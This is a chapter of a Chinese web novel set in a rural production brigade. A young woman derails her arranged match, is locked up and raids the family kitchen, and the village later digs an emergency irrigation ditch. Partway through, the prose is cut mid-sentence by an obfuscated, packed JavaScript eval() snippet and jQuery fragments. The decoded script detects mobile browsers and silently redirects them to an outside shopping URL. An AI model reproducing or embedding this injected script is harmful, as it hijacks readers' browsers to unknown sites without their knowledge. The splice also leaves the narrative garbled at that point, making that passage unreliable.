王厂长本来就看不起乡下泥腿子。

    要不是王媒婆把季初萤说得像仙女下凡,他看都不会来看一眼。

    八字没一撇,就想把自己儿子都送进肥皂厂当工人?

    1000块彩礼已经是顶高的了。

    长河县有几家能拿出来的?

    彩礼归彩礼,就当是花钱买个尽心尽力伺候的保姆。

    但工作岗位,想都不要想。

    季老实脸上堆着笑:“王厂长,您真有本事啊!管着一个这么大的肥皂厂!”

    “初萤能嫁到你们家,这辈子衣食无忧啦!”

    王厂长皮笑肉不笑:“我们家看儿媳妇,得本分温顺,性子得软和,手脚得麻利,得会伺候人。”

    季老实附和:“女人嘛,就该这样,老祖宗传下来的规矩。”

    季初萤:呵,纯正无比的登味发言。

    “嫁到我们家来,就是端茶倒水接屎倒尿,照顾王松的生活起居,帮他生个一儿半女的。”

    季老实:“自然自然,哪个女人不是这么过来的。初萤享福啦!”

    接下来,

    两人从“女人命贱,生下来骨头就轻三斤”,说到“伺候男人,是天经地义”,又说到“只有男人才能传宗接代”。

    直到——“嘭!”

    季初萤一脚踢翻了桌子。

    “享福?”

    桌子从葡萄架下飞出去,滚了两圈,断了一条腿,三脚朝天仰在院子里。

    “新中国都建立多少年了,还想给人当奴才?”

    “这么爱当,自己爬去厂长家舔马桶啊!”

    “女人不能传宗接代?孩子都是从女人肚子里出来的,还不叫传宗接代?”

    “孩子不跟女的姓?那让孩子跟女的姓就好了啊!”

    “伟人都说妇女能顶半边天,你们说女人命贱,是想干什么?”

    说完最后一句,院子里鸦雀无声。

    半晌,王厂长意味不明地冷笑了一声。

    季老实抄起手里的烟袋,朝季初萤的脑袋就砸了过去!

    “反了你了!哪有你说话的份!”

    季初萤轻而易举躲过去。

    “我哪里说错了?”

    季老实脸色铁青,脸上的肌肉一个劲儿发抖。

    看样子,快要一口气上不来噶过去。

    凌素云小心翼翼地瞅着季老实的脸色,埋怨季初萤。

    “初萤,你看你把你爹气的!”

    季初萤:“适当的情绪波动可以预防老年痴呆。”

    凌素云:“……”

    季老实指着季初萤:“你!你!孽畜!”

    王厂长抱着胳膊阴阳怪气:“季老哥,你这个闺女,牙尖嘴利,可了不得~”

    季老实很没脸:“王厂长……”

    “谁家娶媳妇都是过日子的,可不是娶个祖宗回来供着的。她连你这个当爹的都敢顶撞,以后谁能管住她?”

    季老实恨不得当场扒了季初萤的皮。

    要不是还有外人在,他现在就把她摁在地上暴打一顿了!

    王厂长:“现在的年轻人啊!认得几个字就不知道天高地厚了,没有教养!对长辈对老人连最起码的尊敬都没有!季老哥,这你得好好管教啊,否则指不定惹出多大祸呢!”

    暗示得很明显。

    季老实岂止是面上无光,连脸皮都没了!

    王厂长说得对,

    今天不教训教训这个死丫头,他这个一家之主还怎么当?

    不给王厂长表现表现自己身为父亲的威严、季初萤不是管教不了的死丫头,这门亲事还怎么成!?

    季老实心里憋着一股狠劲,五指张开,狠狠朝季初萤的脸扇过去!

    季初萤只觉得一股掌风凌空而至。

    身体本能向后一躲,动作快出虚影。

    那记用尽了季老实全身力气的巴掌,带着一阵劲风呼啸而过——

    “啪!”

    随着一声脆响,葡萄架下陷入诡异的死寂。

    王厂长油光水滑、一丝不苟的牛舔发型,被扇得崩开,像狂风扫过的乱草。

    左脸上,鲜红清晰的巴掌印,以肉眼可见的速度浮肿起来。

    像盖了个手掌形的印章。

    ……

    1000块,被季老实这一巴掌彻底打没戏了。

    于是,7月28日中午,整个土墩大队,都听到了季老实恶龙咆哮般的嘶吼:

    “季初萤!我打死你!!!”

    季初萤虽然没挨着打,但喜提五天禁闭。

    太好了。

    又是不用上工、在家躺吃躺喝的五天假期。

    季老实攥着她屋门的钥匙,对凌素云一阵狂吠:“这就是你教出来的好闺女!”

    凌素云唯唯诺诺,不敢说话。

    “给我关她五天,一口饭都不准给她吃!”

    “谁敢偷偷给她送饭,就跟她一起关!”

    莫桂兰站出来:“爹你放心!没一个人会给她送饭的!”嘻嘻。

    季老实捡回自己的烟袋,连着抽了三锅才把气喘顺。

    .

    第一天,

    季初萤毫无感觉。

    第二天早上,

    饿。

    第二天中午,

    很饿。

    第二天下午,

    季初萤踹掉了自己的门,大摇大摆去灶房给自己开了个小灶。

    然后溜回房间,装上门继续躺尸。

    第三天傍晚,

    凌素云偷偷给季初萤递了个玉米小饼子。

    季初萤躺在床上打了个饱嗝:“我不吃,做人要有骨气!”

    凌素云又无奈,又不敢劝季老实,只能偷偷抹眼泪。

    第四天,

    季家爆发了有史以来最大规模的内讧。

    因为,灶房里的好东西都没了!

    鸡蛋没了,米没了,面没了。

    除了后院还没摘下来的菜,家里现在只有几只鸡鸭鹅了。

    莫桂兰怀疑是季海涛把东西都拿给包含秀家了。

    季海涛说莫桂兰是贼喊捉贼。

    两人你一句我一句,差点打起来。

    季老实一人一个耳光制止。

    贼在屋里偷着乐。

    凌素云敲敲季初萤的窗:“初萤,你这两天不上工,一直在家看着,家里是不是遭贼了啊?”

    季初萤:“饿得一直在睡觉,没看见……”

    凌素云:“……”

    莫桂兰气急败坏,无差别攻击:“家里这么能吃的,除了季初萤还有谁?是她!”

    季初萤一脸无辜地从窗户缝往外看:“你是不是瞎?我不是被关禁闭了吗。”

    生活总会特别眷顾我们这些病的不轻且能吃的人。

    莫桂兰:“……”

    季海龙无所谓地说:“既然没贼,就是自家人吃的,那还吵什么吵?”

    季海涛面色怀疑:“哥,不会是你吧?”

    季海龙顿时变了脸:“你神经病啊?我看就是你!”

    屎盆子不到自己身上的时候,他很大度。

    季初萤拍窗户:“爹,我还用在家关着吗?”

    说实

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609415|205878||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    话,有点无聊了。

    好几天没见霍驰了。

    季老实干了一天活,回家还要断案子,烦躁得想砍人。

    “明天就给我出去上工去!干不够10个分,别想回来!”

    季初萤:“收到!”

    .

    第二天一早,季初萤来到上工的地方。

    地里一个人都没有。

    怎么回事,转移阵地没人通知她?

    几天不上工,跟不上大部队的脚步了。

    她只好去谷场。

    这里有人,十几个妇女正在翻晒稻谷。

    卫恒杰看见来人,眼睛一亮凑上来:“季初萤!这几天你干什么呢?为什么不见你?”

    季初萤:“睡大觉。”

    卫恒杰贼头贼脑:“我不是说了吗?记分员的活让给你了,你来我也不跟你抢。”

    季初萤:“不稀罕。”

    卫恒杰:“……”

    “那你这几天为什么躲着不出来?我还以为你怕我把记分员抢走了,不敢出来呢!”

    季初萤:“你没听见我爹那天的嘶吼吗?”

    卫恒杰挠挠头:“听说了,为啥要打你?”

    “让我相亲。”

    卫恒杰急了:“啊?你要嫁人啦?”

    季初萤:“咒谁呢,你才要嫁人呢。”

    卫恒杰松了一口气。

    季初萤瞅瞅四周,问:“上工的人呢?怎么这么少?”

    稀稀拉拉十几个妇女,男的都跑哪去了?

    对哦,就算上工,霍驰应该也不在这里,他是农机站的。

    卫恒杰道:“嗐,咱大队出事了!”

    “什么事?”

    昨天中午,卫建国就在大喇叭里喊过了。

    但季初萤当时在蒙头睡觉,没听见。

    卫恒杰跟她解释了一遍。

    大概是说,公社那边的青牛山爆发泥石流,导致土墩大队在内的几个生产队连接水库的主灌溉渠,被山石洪水冲垮了。

    现在正值稻苗返青期,根系还没扎稳,完全靠浅水层保湿,缺水二十四小时就会回苗。

    灌溉渠这一断,秧苗的叶子开始卷细针了。

    有些叶子都已经发黄,再拖一天就会枯死。

    但是公社那边来消息说,主渠修复工程难度大,清理淤泥、运来沙石,再修砌,至少还需要3天。

    “3天?那我们队里的苗不都死光了?”

    这可关系到下半年的粮食产量。

    卫恒杰白了她一眼:“就是说啊,这两天我们都愁白了头发,你倒好,睡大觉。”

    季初萤:“然后呢?”

    肯定不能坐以待毙吧。

    卫恒杰:“我叔当机立断,挖水渠!”

    土墩大队的村口有条河,水质干净流量也够,能临时引水救急。

    但有个难点。

    村里没有现成的沟渠可以用,得现挖。

    河水造渠,连通田块。

    卫建国领着队里的几个技术人员,花了半天的时间紧急制定挖渠方案。

    最终确定从河边直接挖一条宽50公分,深50公分的沟渠,长约700米。

    今天早上,正式开挖。

    先挖通路面引到村后的田里,沿着田埂,避开作物。

    全村的劳力,都上阵作战了。

    季初萤:“那你呢?”

    卫恒杰不好意思:“我被命令留在谷场,看她们翻晒早稻,以防有人行偷盗之事。”

    季初萤:“切。”

    她问:“农机站的人也都去了吗?”